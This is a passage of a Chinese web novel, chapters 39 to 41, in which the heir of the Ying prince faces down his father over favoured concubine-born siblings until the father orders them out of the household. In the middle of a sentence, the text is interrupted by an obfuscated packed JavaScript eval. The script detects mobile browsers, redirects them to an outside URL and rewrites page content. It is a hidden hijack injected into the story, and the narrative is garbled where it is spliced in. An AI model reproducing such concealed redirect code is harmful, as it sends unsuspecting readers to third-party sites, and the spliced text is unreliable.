“如果我定要烧掉流光小筑,父亲又欲如何?”晏霁之坚持追问,英王爷晏墉给答案:“这个家还没轮到你做主,如此目无尊长,为父只能给你上家法。” 刹那间,现场人心浮动偏又出奇安静。 谁家会轻易对儿孙动用家法?何况是对世子,多大点事,英王自己尚且都说多大点事。霍海啸低眸复而别开眼,看见闯过人群奔来的亲弟巨浪和堂弟振羽,示意他们禁声。 动过家法后世子还能剩几分威信?虽然是总冲撞她的儿子,英王妃到底还没彻底糊涂,她儿子若被这群庶出压倒那她在府里得更没地位,此刻恨不得冲上前押着她儿子的头给王爷赔罪道歉认错,拼命使眼色,用力过猛差点成斗鸡眼。 再不忿,可形势比人强只能忍了,晏和之憋屈地加入给堂兄使眼色的队伍;连晏琼勋都没落下,相比被嫡兄压制他更不想看到长房这批人嚣张得没边,哪怕他们暂时和解。 虽然晏霁之专注和父亲对峙,晏明潜也时不时送他个挑衅眼神,他相信他能接收,他就赌晏霁之很清楚坚持烧院会给他带去多少恶果也忍不了,谁叫他太心高气傲。 意料中的结果,晏明妧仍低头掩饰喜色,若非被叔公压着不好多言,她真想添把火,看看这位向来眼高于顶的嫡弟想要硬冲呢还是识趣退让。 薛驸马就没甚顾忌了,刚想添把火又被霍海啸拉住,气闷地真想怼他。 阳光很暖,春风轻拂很舒服,白云悠悠很自在,和煦的时光,晏霁之只觉置身寒风中。 家法,家法?! 他真想不到那么重的两个字居然能被他父亲轻易抛出,轻得好像没分量,轻得好像对他动用家法不足为奇,轻得好像他不仅没有父亲最吝啬的疼爱还连家族继承人都不是。 一瞬间晏霁之感觉心底某处空了,这刻的心凉他不知有多寒,更不知自己还在挣扎奢求什么?堪堪两个多月而已,竟然只堪堪两个多月他就能再体会把对血脉最亲的人彻底释怀的心境,利索地真像有祖宗保佑。 在场数不清的视线瞩目他的反应,晏霁之表现堪称平静——平静退让,他凝视英王几息时间后转向霍海啸,语调同样平静得辨不出情绪:“我已传令晏诺进京接应只是人还没到,你送我出城,送到我和晏诺碰面。” 英王妃终于松口气,晏副相却不知该怎样放松,侄儿把局面堵死,这份怨如何消解? 晏明潜在心底讥讽他竟然真能退让,原来他这心气也不过尔尔,就不信他能退几回?! 晏煦之和晏如瑰他们皆叹气,英王晏墉多少有点欣慰想安抚被抢先了,薛驸马反应颇大:“出城?!一句家法就把你给吓退了,晏霁之你不是这么软弱吧? 庶兄给你戴绿帽,英王夫妇非但没做任何惩处还能把那俩人好好护着宠着,你就忍了;你出趟家门散心,这批庶出就敢强抢流光小筑,你还忍?你还是不是个男人——” 霍海啸拉住薛驸马都被甩开了,薛述聪心火烧得旺哪能再忍,未及没继续骂,晏明妧看舆论形势不利抢声辩解:“二弟你误会了,钟姨娘和……”话未尽也被打断:“流光斗胆,有事禀告王爷,若此事惹王爷生气还请王爷海涵。” 众人霎时一静,没注意的看客们这才惊觉那位因美貌而盛名的流光姨娘已经走出马车,大家循声而望,看见美人红衣翩翩,昳丽绝美的容颜在熠熠阳光下夺尽璀璨,不需多言就能令所有看到她的人相信任是再光鲜华彩都会她面前黯然。 流光、流光,当真不负这位流光耀眼之名,不知多少人不自觉倒吸凉气。 薛驸马怒火立消当场转移兴趣:“流光你终于现身了,四年多不见,你怎么能比在我的梦里还要美?这四年多来我对你可是魂牵梦萦,不如你干脆跟我走,” “回马车里!”晏霁之怒意明显地截话,比起刚才堪比死水般的平静终于又起生气,霍灵渠置若罔闻,向薛驸马礼貌性施礼:“驸马爷厚爱,流光愧不敢当。”语毕,不等对方应对,她就走向晏霁之,刚走近又被他再含怒通知:“回马车里。” “正月里你承诺会将我扶正,可我思来想去还是觉得我们成亲的大事该告知王爷王妃,就算你父母不在意,我们也该尽到礼数。” 晏霁之:“……”正月哪天我给过你这个承诺,我真说了你不得炸,你唱什么戏? 他惊讶,晏家众位更惊,看客们虽然也惊好歹还有许多人真没觉得太意料外,流光姨娘可不就是美得有这本钱嘛。英王妃慢一拍被惊怒的丈夫抢前,英王爷根本不能忍:“霁 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晏霁之瞟她几眼,特想把自己被她挽住的手臂抽出,这女人突然脑抽筋吗,玩哪出? 几岁稚童才听不出流光姨娘在讽刺,霍桑柔替姐姐捏把汗,薛驸马兴致浓厚地看戏倒没再想添火,霍海啸收回观察的视线问弟弟:“你清楚舒窈在意流光姨娘的原因吗?” 霍巨浪苦笑:“大哥洞若观火,可想而知。” “风尘、娼妓?!”霍海啸咬牙闭眼低头,右手攥拳手背青筋暴起,那厢边晏墉冷笑:“是吗?看来本王真是眼拙,竟以为流光姨娘会有点自知之明。” “王爷谬赞,比起王爷王妃多年孜孜不倦将亲儿往外推,流光好歹把霁之揣在心窝里。”霍灵渠刚话落,晏霁之就想怼她:有种你发誓,敢拿你妹妹和外甥发誓是真话吗?! “故此流光想请王爷最后帮衬一把,总归是王爷王妃和流光都能得偿所愿的好事,当然王爷怕招致话柄不愿意也无妨,只要霁之肯就够了。” 霍灵渠含笑转向他,脉脉眼波柔情四溢,似有能醉人的诱惑:“你既清楚王爷多年打压你是为何故,何苦非得走到最后步彻底破裂父子情?不如识趣些趁早如你爹娘心意。 出城前你就递奏折请辞,辞官再辞掉世子位,我们从此远走天涯逍遥快乐,还能比留在这个家里受尽委屈差吗?反正你爹娘无意让你养老,何苦讨嫌呢。” 语不惊人死不休,众人哗然,许多围观群众感叹果然多半热闹都有一波三折。 终于知晓她唱哪出,晏霁之眼中闪过不可思议,她知道他要出城是想彻底远走、是想把家族给抛掉、是很可能在晏墉死前都不会再回吗?她这是想逼晏墉留他。 晏和之刚激动就被他爹按住,晏煦之心里直叫乖乖,这小妾胆大得能撑破天啊,受惊地看向叔公,他没猜错吧,这是要逼他大伯做抉择?晏副相目光沉沉,苍老的手紧紧握住拐杖,几乎能预料已拦不住侄孙要扶正这妾室。 英王妃有点稀里糊涂,她可不信这狐媚子能放掉王府的富贵拐她儿子去外面受苦,直觉认为这狐媚子是在耍花样可没看懂什么意图,就没呵斥。 手臂被嫡母抓痛,晏明妧没在意,此刻心情实在有些澎湃,晏明潜给姐姐个稳住的眼神,竟然玩这种把戏,看晏霁之他自作聪明会不会搬起石头砸死自己。 霍海啸忽然生出兴味,看向弟弟,霍巨浪抬手捂脸,真是他们霍家的宝贝,够狠。 “英王爷尚且能说偏心庶出,王妃难道还能把庶出看得比亲骨肉重吗?”霍海啸抢在第一位接场,走出几步看向她温和笑问:“本世子不解,流光姨娘可否明言?” “王妃心向娘家,莫说娘家的父母兄弟,娘家的侄儿侄女都比霁之重要,听话的庶出当然比处处和她作对的亲儿好。王妃喜欢拿夫家填娘家,将来庶出想袭爵得记在她的名下,自然得受她拿捏;可亲儿,她管不住。” 记忆中青涩的眉眼和眼前成熟的轮廓重叠,霍灵渠心想她大哥果然最英武挺拔。 “你这狐媚子瞎七瞎八胡扯些什么?”英王妃忍无可忍了,霍灵渠弯弯眼笑得甜美可亲:“王妃息怒,可您心向娘家实在不是秘密,这么多晏家人在,您要狡辩也不行呀,从王爷到和之少爷都能作证,霁之在您心里眼里还不如您娘家侄儿一根手指头。” “你个狐媚子——”英王妃发飙要冲过去被丈夫拉住,英王晏墉绝对故意的:“够了!” 晏霁之随即表态:“好,彻底远离也好,清静了,晏四准备笔墨,我这就写辞呈。” 40. 第40章 阳光照过,拢走晏墉外浮的怒火,他对二儿语含警告:“你胡闹也该适可而止。” “我会带流光走遍大江南北饱览山川美景,很可能离京前三五年会居无定所,待孩儿定居下来再告知爹娘和亲友们在何处安家,往后余生敬请父母多保重。” 晏霁之抽出被她挽住的手臂改为将女人搂入怀里,温雅笑意透着向往:“我和流光避子多年是该要孩儿了,我做父亲时会通知家里,也会期待爹娘将来能来看望小孙儿。” 虽然大家重点在看热闹,可能没几人有空暇在意,但大庭广众搂抱合适吗?故意的是吧,霍巨浪在心里骂这混球能顾及些吗? “闹够没有?!”晏墉当然也嫌看着糟眼睛,晏霁之形容恭敬:“父亲放心,我再没本事也还养得起妻儿,绝不会向您要讨家财,将来您分家不通知我也没关系。” “你是真的不懂适可而止,非要为父给你动家法吗?”晏墉气得是真动肝火了。 “驸马爷、海啸,我爹若非要动武不肯好聚好散,请你们帮我挡挡。”晏霁之神情淡淡,霍灵渠仰头看他平静得像荒芜般,缓缓低头靠在他怀里,他牵牵唇冷漠异常:“王爷见谅,我受不起你的家法;如若王爷不能容忍,我建议您将晏霁之逐出家门。” “混账!”英王晏墉大怒咆哮,英王妃害怕要说话硬被晏副相制止,薛驸马同时大笑:“霁之兄放心,这才像个男人样嘛。”他当即吩咐护卫们准备动武。 霍海啸紧随给霍家的护卫们下令就绪,晏四领两个奴婢抬着箱笼来到晏霁之面前,箱顶已摆好笔墨纸砚和印泥,一触即发的对峙被戛然中断。 在场所有视线齐齐瞩目,众目睽睽之下,晏霁之松开霍灵渠,抬腿迈向前,执笔落字,笔下如有神,眨眼间就将两份辞呈写好。他取出自己的印鉴,沾过印泥,毫不犹豫盖印。 “还得麻烦海啸你将我这两份辞呈交给陛下和工部,我和流光这就走,你送我们出城;将来你们在京中若是乏闷,想散心可来找我。” “好!”霍海啸接过辞呈,抬手拍拍他的肩膀,话中深意不言而喻:“要成亲送张喜帖来,我们兄弟必定到。” 晏霁之领会扬笑,亦伸手拍拍他的肩膀,而后吩咐晏四:“准备启程。” “你敢?!”英王晏墉怒火中烧向前,风声鹤唳的紧张悄然滋长,百姓们屏息看热闹,晏墉的忍耐已至极限:“逼迫亲爹,也该看看你演得像样吗?去祠堂向列祖列宗悔过,此事爹就不再计较,否则为父即刻杖毙你这小妾。” “我以为你我该有点共识,我放手,成全你一颗疼爱庶出的拳拳慈父心,已是底线;若你不准我放弃爵位,至少该给世子最基本的尊严体面;既不肯放我走又想捧你宠爱的这群玩意儿明目张胆欺压嫡系,你怨不得我要与你撕脸,你自找的。” 晏霁之狠厉放话,英王妃怕得心惊肉跳之余诡异地有点爽,这儿子可不仅仅只冲撞她,整整心绪要调和时又被晏副相拦住,非但她,晏副相将所有想出头的小辈全压制住了。 晏明妧再低低头压住笑意,她弟弟的控制力比她强,心中满意地笑,而面上丝毫不显。 英王晏墉怒极恭维:“咱家世子爷当真好威风,可惜这个家还没轮到你做主;晏炼,带护卫把流光姨娘拖过来杖毙!” “晏四带薛家的护卫们防守,晏七带霍家的护卫冲上去抓晏明潜,剁掉右臂再阉掉。”晏霁之不紧不慢对峙:“你可以看清楚我敢不敢,晏墉?” 王府护卫长晏炼僵住,晏明潜在心中讥笑他可真会寻死路,怎么触怒父亲怎么来。 围观的百姓们看得都莫名激动啊,薛驸马心情踊跃:“霁之兄,让我薛家的护卫给你冲锋陷阵把晏明潜剁成肉泥吧?” 霍巨浪顿时被这位驸马爷噎了噎,英王却是终于意识到不对劲:“你真疯魔了吗?” “是父亲你在践踏我的孝心,祖母过世后,你私下怎么纵容这群庶出逾越甚至恶心我,我都一再忍让。私下嘛,顾念父亲宠爱他们,我忍就忍了;可他们摆到台面上欺压嫡系,你竟然也能纵容还要逼我退让,你当我是英王世子还是滩泥?!” 晏霁之冷冷挑衅:“我今天真把晏明潜废掉,你又能奈我何,你敢逐我出家族吗?若你敢,我必定接,你看我会不会皱下眉头向你祈求半分?!你要是敢为这个庶子和我结成死仇,我一定斋戒焚香敬告祖宗恭喜晏墉你后继有人!” 英王晏墉神情骤变,晏霁之问:“还要动武吗?不动手,我可要走了。” 回应他的是一阵无声静默,薛驸马见状要添把火又又被霍海啸拉住,晏霁之不再拖延,带霍灵渠上马车,下令车队启程离京。 看过全程的霍桑柔抱娃长长吁气,十足感叹英王世子可真够狠,把亲爹都震住了。 霍海啸将这两份辞呈暂给弟弟保管,牵过坐骑翻身上马,领霍家的护卫们随行护送,围堵看热闹的人群立时散开让出通道;大家伙就眼睁睁看他们就这般走了,真走了,走得毫不拖泥带水,看热闹的百姓们纷纷注视英王。 只见英王晏墉像在呆愣中,可能没回过神可能难以置信总之是愣住了。 薛驸马要杀杀英王的锐气又被姓霍的拉住,这都不知是第几回了,憋闷地调转枪头:“你哥走掉轮到你,你霍家什么时候学会的狗拿耗子?” “都这种情况了,没必要再添油加火,你看完结果不满意再找麻烦不迟。”霍巨浪叹气,霍振羽落寞问:“二哥,我表哥是不是也不全是做戏?” “你感同身受得假了点吧。”薛驸马刺道:“你爹又没偏宠你的庶弟,你娘更没得说,难道你活到现在才刚发现你娘把娘家人看得比你还重要吗?” 霍巨浪心说还真是今年刚发现,霍振羽想想近日紧紧相逼的母亲,别过头不接茬。 晏明潜给姐姐个眼神,姐弟俩走到父亲面前,晏明妧跪地,涩然哽咽:“爹,女儿不孝,都是女儿和明绾没管教好庶女才惹得二弟大怒负气离家,请爹责罚。” “爹,让孩儿去追世子回来吧。”晏明潜措辞铿锵,同跪地请示:“不能怨世子生气,此事确是长房错,请爹允准由孩儿追去给世子赔罪。爹放心,不求得世子原谅,不求到世子愿意回府,孩儿绝不独自返回。” 晏琼勋气闷,他们姐弟俩这么一跪,他赔罪也不是不赔罪也不是,瞥见晏如瑰也要过去赔罪请示追嫡兄回府,他压压闷气只能跟上。 英王妃心急如焚想请王爷恕罪又被晏副相强行拦住,急得她差点想呛这叔叔。 晏墉抬眸扫视过眼前的四个儿女,嘴角抽动想说什么终究未言,迟缓片刻转身看向叔叔,苦涩溢于言表:“小叔,你相信?” “阿墉敢赌吗?”晏副相谆谆劝导:“敢,你就按心意赌把,无论赌输赌赢都认了;但你若是不想担赌输的后果,霁儿破釜沉舟,是你该做决断的时候了。” 晏明潜忽然觉得有些怪异,心中无端发沉,至少父亲这态度出乎他意料,按说父亲应该暴怒而非难过啊,难道他爹还要比他以为的在意晏霁之吗?转念一想即再请示。 英王晏墉看向疼爱多年的大儿,伸手想摸摸他的脑袋最终手臂还是停在半空中,他痛苦地闭闭眼,再睁眼时满目决然,高声交代:“煦儿,带批护卫快马追上你二哥哥。 你告诉霁儿,爹今日要给明潜分家,送明妧和明绾回夫家,但爹爹身体不适管不了,让他回府来料理给明潜分家之事再送送他的庶姐和庶妹。” 还能有这种转折?一时间场面安静得落针可闻,众多看客震惊疑惑地瞠目结舌。 晏明潜和晏明妧惊惶呆滞,以为自己听错般地抬头相询,晏和之这辈堂兄弟们连英王妃都怀疑听错了,霍巨浪想来也觉得不应该啊,饶是薛驸马也觉得不可思议,英王都能为这批庶出跟他家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459232|141656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 死拼,还能舍掉? 对此平静的可能只有真正听懂晏霁之对英王说‘后继有人’这含义的几位知情者了。 “爹不否认在众儿女中最疼爱明潜你,你们祖父生前告诫我疼爱庶出无妨,但给庶出多少疼爱就必须给更多的规矩约束以防庶子痴心妄想,是父亲糊涂忘记了。” 晏墉对儿女们说:“为父总想着明潜你和嫡弟弟关系差,只能靠爹生前多护佑你们,在爹在世时给你们都安排好,免得将来霁儿不管,你们会过得不好。 是父亲没有把握好分寸以致酿成苦果,明潜你的心思,爹明白,是父亲的私心不想损伤父子情才从未与你提过;可我也以为即使你的生母和两个姐妹被迷了心窍,她们妇道人家糊涂而你总该明白,糊涂过也总该能想明白——” 晏墉目光转厉,冷漠的声音犹如生锈的钝刀磨在晏明潜和晏明妧的心撕割:“你是庶,你怎么可能袭爵承家业?我没有霁儿,过继侄儿都不可能把家族传承给庶子啊。 不说家规,就最简单摆在你眼前的现实,你哪位本家长辈同辈能赞同、能容忍由个庶出接掌晏家?难道明潜你竟连这一点都看不明白吗?” 晏明潜眼眶猩红,难以抑制地飚泪:“爹?” “你们兄弟已不可能再同住个屋檐下,只能是你走,今后好自为之。”语毕,英王晏墉拂袖转身,迈着沉重的步伐往府里去。 晏明潜怔怔地忽如山体崩塌般轰然坐地,晏明妧心跳如雷双手紧捂嘴巴眼底沁出泪花,反观英王妃差点大笑出声,急忙进府去要让贾侧妃生的这批庶出滚蛋。 出乎意料但完全在情理中,被震惊过的看客们发现很能明白,英王忒清醒;薛驸马乐,看来晏明潜不剩任由他折磨的份儿都不行了。 晏和之也乐,兴致勃勃地要跟堂兄同去传达好消息,他父亲晏坤走到堂侄跟前,长叹气:“多年来许多本家长辈劝过你,你爹再疼爱你,你也不能忘掉规矩;你是庶,霁之是嫡,你与他没得比更没甚能争,可你就是听不进去。” 晏明潜闻声抬头痴痴望向堂叔,晏坤好意叮嘱:“你爹亲自把话讲透彻,你也已过而立,该懂点事了。霁之大约会让你的生母跟你走,分家以后你就是一家之主,莫再犯糊涂,否则遭殃的只会是你自己和你的妻儿们。” “我……”晏明潜眼中血丝密布,满腹憋屈不甘却像被淋湿透的火~药熄哑了无处发泄,他想狂笑笑不出,想哭又哭不出,他是父亲最疼爱的儿子,只因为是庶出,所以就没有任何机会吗?就因为他是庶出所以父亲宁可过继侄儿都轮不到他吗?” 晏如瑰忽然有点想笑,晏琼勋不大是滋味,毕竟他也得宠,能没想法吗?结果他爹竟然给这种重击……算了,他还是幸灾乐祸可劲儿嘲笑长房吧:“叔,我大哥受不了。 您讲多少道理他都不能接受,毕竟大哥是爹最疼爱的儿子会想当然认为能越过嫡枝,就算是庶出也能记在嫡母名下成为嫡子嘛,凭什么因为庶出就剥夺掉他竞争的资格?” 冲着他,晏明潜也没力气呵斥;晏坤温笑解释:“阿勋,晏家不是族长一个人的晏家,族里有那么多身份正的后辈儿郎,何至于会令家族沦落到要请族长抬举庶出? 方才族长讲得很清楚,族中哪位能够容忍由庶出接掌家业?族长若没有嫡子或嫡子过于平庸而难以承担重任都可过继换一位,族长的嫡子尚且如此,能有庶出的份吗?” 晏琼勋干笑:“您说的对。”我竟然无言以对。 看客们觉得厉害咧,晏家可真够开明的,可这解释对晏明妧姐弟俩无疑又增痛楚,好像堂叔的每个字都在嘲笑讥讽他们;他们以为有父亲的疼爱足以,原来只是他们在痴心妄想,甚至父亲根本不准,只是他们被偏宠迷住眼而沉浸在自己的幻想里而已。 一梦十八年,十八年的梦就这么碎了,硬生生敲碎,晏明潜苦涩闭眼,梦醒太痛。 41. 第41章 一场跌宕起伏的热闹落下帷幕,围观看戏的百姓们准备散场,突然又被道疾声吸引。 晏明婠急奔跑出府,冲到长姐面前抓住姐姐惊慌失措喊:“王妃说爹不要我们了,还要让我们全都走,这不是真的,她撒谎对不对,爹怎么会不要我们反而选晏霁之?大姐你说,你和大哥快说她在撒谎骗我对不对……” “爹的确要给我分家,送你和大姐回夫家,因为我们是庶,他是嫡。”晏明潜颓然闭眼,裴氏紧随跑到府外,未料丈夫竟然当真肯定这件事,承受不住地晕倒在地。 “不!!” 尖锐的咆哮刺穿众人的耳朵,晏明婠几近癫狂:“他是嫡出又怎样,爹根本不喜欢他,当年给他请封世子是祖母在世时硬逼的,爹不可能选他而不要我们;爹其实早想废掉他,我知道爹肯定早就想废掉晏霁之才对,肯定是的。” “爹不会换世子,本家们更不会容忍由庶出接掌家族。”每说个字都像在割她的心,晏明妧悲戚的面容比黄连苦:“爹哪怕过继侄儿都不会把家业传给庶子,根本没庶出的份。” “胡说!”晏明绾声嘶力竭吼:“简直是胡说八道荒谬绝伦,亲儿孙们好好的,谁会舍掉自己的亲儿反而过继侄儿来继承家族,太阳打西边出来都没这种荒唐事,爹又没糊涂,还能连这点亲疏都分不清吗?” “可惜,你爹不叫霍漓江,你更不叫霍灵渠,没有霍灵渠的命还敢妄想得霍灵渠的势,这应该更荒谬吧?”晏霁之骑着白驹越众而出呵斥:“还要丢人现眼到几时?” 晏明绾神情一缩,对嫡兄的畏惧冒出,嘶吼狂飙的气势霎时褪去,明显不是突然被吓退而像从小养成,她咬咬唇强撑着才没往哥哥姐姐身后躲。 专注看热闹的人们这才注意到英王世子他们已经返回,霍海啸骑马上前反驳:“我说你管教庶妹就管教庶妹,做甚给我妹妹和二叔泼脏水? 你家这批庶出是被宠得不知所谓,对比到我家最多也就是娉姨娘和她生的三个那类,与我二叔和灵渠有何可比?我三妹妹是二叔的命根,倘若灵渠是哥儿,叔叔都不会再娶妻生养儿女,能比吗?” “口误,我一时口误。”晏霁之道过歉,握着马鞭翻身下马,一眼瞥过他们姐弟后喊来拘谨窝在角落里的管家吩咐:“给他讲分家的规矩。” 其实无需多言,这规矩府里各位主子都清楚,管家躬身应是再转向晏明潜禀告:“大爷,按规矩,您分家离府能得到一座宅邸一间商铺三百亩良田和五千两银票,如果您不要产业只想拿银两则可得到二万两白银,随您选择要哪种。” 再多就看王爷私底下是否愿意多给,现在王爷不理会,那就只有摆在明面上的这些了。 随他?!真能随他吗,那么他能两种都不选吗,他能继续留在府里吗?偌大晏家,最终他得到的就是这点皮毛碎屑吗?晏明潜苦涩闭眼别过头,他答不出。 难道真要认分家吗?晏明绾急急拽姐姐,刚才叫嚣时她是像没把嫡兄放在眼里,可真对嫡兄呛,她没胆的,她亲哥亲姐对世子能占个长字算点优势都不敢正面硬杠。 晏明妧反手攥紧妹妹的手壮壮胆,满面凄苦相求:“二弟,幼蘅再过几月就满十六岁了,她爹和祖父要坐几年牢,没外祖家相助,幼蘅还怎么找亲事?我求你,你可怜可怜外甥女,让我在娘家住到给女儿定下亲事,我必定铭记你的恩德将来结草衔环相报。” “给自己留点脸,不会吗?”晏霁之反问,晏明妧立时泪意上涌咬紧牙关才没哭。 “二哥,”晏明绾鼓起勇气想争取,收到嫡兄的眼神杀,气弱屈服:“我没意见。” 英王府没有宠妾灭妻这类风闻,因为晏霁之死死压着庶出,长房再得宠也只能在背后耍花招然后靠王爷的偏袒纵容想方设法让世子吃瘪。 偏偏在暗中耍尽手段还不满足,非要试试明目张胆骑到嫡系头上的滋味,这不就挂了吗?晏琼勋压住笑意,装腔道:“大哥你还是快些说选哪种,让世子等着不合适。” 晏明潜低头看青石板,握拳压抑:“我只要银两,拿二万两白银。” “哦对,爹肯定给过大哥不少私产,你哪能看得中一间商铺三百亩良田。”晏琼勋拱火,晏明绾闻言惊喜:“真的吗?” 晏琼勋愣是被她噎住差点想骂她傻帽,晏霁之淡淡应:“真的,在无锡有十顷良田,在金陵有两家木材行,在扬州有一座茶庄和两间酒楼;若非胶州的商铺交出,他眼下大概能有十四五万两白银的身家。” 晏明潜猛然抬头望去,晏霁之冷漠看他,视线交锋,最终他先移开眼。 她好像不该问,晏明绾后知后觉想;晏明妧苦笑,她尚且不清楚,晏霁之竟然能知道。 摆在明面上就只有晏明潜三十岁生辰时给的胶州四家商铺,私下居然已经给过那么多,晏琼勋不是滋味,难怪这庶长子嚣张到敢明着欺压嫡系了,他爹真的有够偏心。 “给他们两个时辰收拾家当,流光小筑搬空以后浇铜油烧干净。贾侧妃年老色衰,留在府里也不能服侍王爷,让她跟晏明潜走;大姑奶奶三十三岁的生辰将至,让账房额外支一百两白银送给大姑奶奶略表娘家心意。” 晏霁之交代过管家和王府的护卫长,谢过霍海啸和薛驸马,拿回他的两份辞呈,再给在府外的本家长辈们问过安,他即带霍灵渠进府。 薛驸马心满意足地带人离开找酒楼祭五脏庙,霍家众位也不再多留,兄弟仨没骑马,霍海啸和弟弟并肩走,回头看眼神情郁结的堂弟振羽,他问亲弟:“你也没想告诉二叔?” “叔叔知道后还能忍吗?”霍巨浪怀疑:“难道大哥你想把事情捅出来?” “灵儿隐忍是对父亲和家族的爱,但我们知道后告诉叔叔却是责无旁贷。”霍海啸道:“我肯定要说,你愿意就一起,你不赞成,我会隐去你和舒窈自作主张。” 霍巨浪也回头看眼,堂弟在走神,他才劝:“叔叔知道后我们家会闹得天翻地覆,我和晏霁之已经谈妥,我们私下给妹子把仇报了不比闹得阖家不宁好吗?妹妹自己都是这意思,否则她能不回家吗?” “这是毒瘤,发现家中长出毒瘤却因怕除掉会闹得阖家难安就继续捂着岂非祸害更大?更何况是咱家的掌上明珠遭罪十多年,这能忍?”霍海啸嗤笑:“那还谋什么前程,你我和父亲叔叔们还不如辞官去乡野务农。” 霍巨浪头疼,斟酌道:“这样,贵妃落定以后我给你答复,不差这几天,我考虑考虑,你也再深想想别冲动,毕竟这不仅会阖家难安还牵涉到弟弟妹妹的一生。” 霍海啸答应:“好。” 英王府前热闹散尽,围观的百姓三五成群走开,威严肃穆的府门前逐渐恢复开阔敞亮。 明媚的阳光刻进未时泛起丝丝灼目,繁花嫣红娇艳映在春景盛放处,众多本家们走过盛映着姹紫嫣红的雕栏玉砌告辞离开,英王妃心情倍儿棒地带俩庶子送过本家们出府,刚走到照壁,看见丫鬟品墨急匆匆来禀告:钟姨娘跪在岚瑟居外求见。 不用猜都知道什么事,可比起能让那批眼中钉肉中刺滚蛋,表侄女的哀求几乎能忽略,英王妃怎样都不可能在这种紧要关头为个表侄女就倒向帮长房啊:“让钟姨娘安心陪裴氏收拾箱笼,天黑前要出府的,可别耽搁了。” 隐在暗处的姐弟俩目送英王妃和晏如瑰他们走远消失了才从暗处走出,晏明妧苦笑:“是我糊涂了,王妃再蠢也不可能在这事犯蠢。” “我去求父亲,我就跪在父亲的书房外相求,父亲疼爱幼蘅会愿意给个准话的。好歹是外甥女的亲事且又没妨碍他,世子还能为这点事再和父亲硬杠吗?大姐你放心,离府前,我们必定能为幼蘅的亲事求到个着落。” “真的非走不可吗?”晏明妧红肿的眼中又沁出泪花:“爹已经挑明,我们不会再逾越,我们只在明面上冒犯了一回,而今全府皆知世子爷的地位不可撼动,你对他毫无威胁,他就真的不能宽恕这回容我们继续留在府中吗?现在走是要我们半条命啊。” 晏明潜握紧拳头,垂眸压抑:“我不知道。” “大哥,大姐——”晏明绾疾跑过来,扶腰喘气道:“姨娘刚醒来就冲出院要去找世子,她现在跪在蔚然居外磕头,还说了愿意拿自己的命请世子息怒恕罪,怎么办?” 年长的姐弟俩相视眼看尽彼此眼中的计较,晏明潜苦涩道:“试试吧。” 贾侧妃再过几月就满五十岁了,英王也已经有将近十年没在她的屋里留宿过,但她生的大爷和两位姑奶奶得宠,她在府中依然得享优渥生活,在英王面前也有情分和脸面。 猛然接到要离府的消息时她根本不信,确定消息是真的后她硬生生吐了血昏倒,在王府三十多年,她就没想过会再离府何况是被逐出府,尤其是要把长房和两位姑奶奶全部送走,这是要把他们从英王府连根拔起啊,叫她怎么能受得了? 蔚然居是世子住处,富丽堂皇自不必说,不过流光姨娘进门后,世子爷反而在流光小筑住得多,今次原流光小筑的奴婢全部涌进蔚然居,这院里倒是许久没这么热闹过,等贾侧妃跑来跪着磕头,院里院外的就更热闹了。 三两枝红杏探出院墙,红艳艳的杏花瓣绽放在阳光下,在青砖碧瓦间格外夺目,贾侧妃跪在院前磕得额头破皮冒出血珠却不知要比墙头的红杏醒目多少,奉命请贾侧妃返回的奴婢们纷纷头疼,朱楼几经犹豫还是进院里去再禀告。 “奴婢们无能,劝不动贾侧妃回;贾侧妃她磕得额头出血了,还请世子示下。” 晏霁之慢条斯理地夹筷鲜笋,仍不置片语;贾侧妃过来跪在院外磕头时他俩刚用午膳,让下人们请贾侧妃回的命令是霍灵渠吩咐,晏霁之只当没听到。 现在午膳还没吃完又出了点事,霍灵渠心底叹气,看他仍不理会,再做主:“派人去请大姑奶奶和徐侧妃来,若是她二位也还在用膳,就等她们用过膳再来扶贾侧妃走。” 朱楼领命屈膝告退,霍灵渠拿白瓷碗舀碗素高汤放在晏霁之面前,男人非但当做没看见还自己又舀碗汤喝,虽然这很幼稚,但在闹脾气的男人可能真感觉不到。在府外时晏霁之对宠妾亲密,然进府后他就没和霍灵渠说过一个字,摆明在生气怪她和自己唱反调。 霍灵渠当然清楚,如何应对更清楚;在他要闹脾气时解释或撒娇没用,只能哄着,哄到估摸他能气顺些或者能消气些时再掰扯。 晏霁之傲娇不理会这女人献殷勤,用过午膳,他端茶盅喝两口香茗就往水榭弹琴。 一般情况,他只有心情很好有雅致或心情差到要哄时才会闲来无事弹琴,霍灵渠叹息,真觉得他这幼稚劲儿像还六岁半,这不等同说‘你惹我生气,我心情很差快来哄我。’ 让绿岫取来琵琶,霍灵渠抱着琵琶追到水榭坐在鹅颈椅里,她刚调下音,朱楼匆匆跨过石阶走进水榭禀告:“世子、姨娘,大姑奶奶和徐侧妃过来后还没劝动贾侧妃回去,二姑奶奶就带众表少爷和表姑娘们赶了过来。 现在贾侧妃在磕头,两位姑奶奶率众跪在院外求世子慈悲宽恕贾侧妃,还求世子恩德给他们条活路莫再阻拦王爷给幼蘅表姑娘安排亲事。徐侧妃悄悄告诉奴婢,大爷也跪在王爷的书房外求。奴婢们无能办事不力,请世子责罚。” 晏霁之老神在在弹琴,霍灵渠只能再代为做主:“去请三爷和四爷来,你们都下去吧,两位爷到了再来禀告。” 众婢女告退,水榭里只他们二人,霍灵渠放掉琵琶走到男人身侧落座,伸手怀抱他知会:“你若还不想理会那我就做主了,要是这事处理得又令你不满,你可不可能多生气。” 晏霁之高冷地推开这女人,站起身往水榭外走,霍灵渠好脾气地叮咛:“午膳清淡,怕你没滋味,我吩咐了小厨房准备炙羊肉再备盘琥珀核桃仁做零嘴,你记得尝尝。” 伴着话音走远,晏霁之在心里冷哼,拿吃食打发他,这女人当他五六岁的孩童吗? 丫鬟进水榭禀告三爷四爷到了,霍灵渠站起来往院外走,边走边回想准备好的腹稿,又担心流光姨娘妾室身份镇不住场而特意多带奴婢壮威势。行至院门门槛前,直冲冲迎见一两丈外那群妇孺幼童跪地哭成堆,旁人要劝也不能。 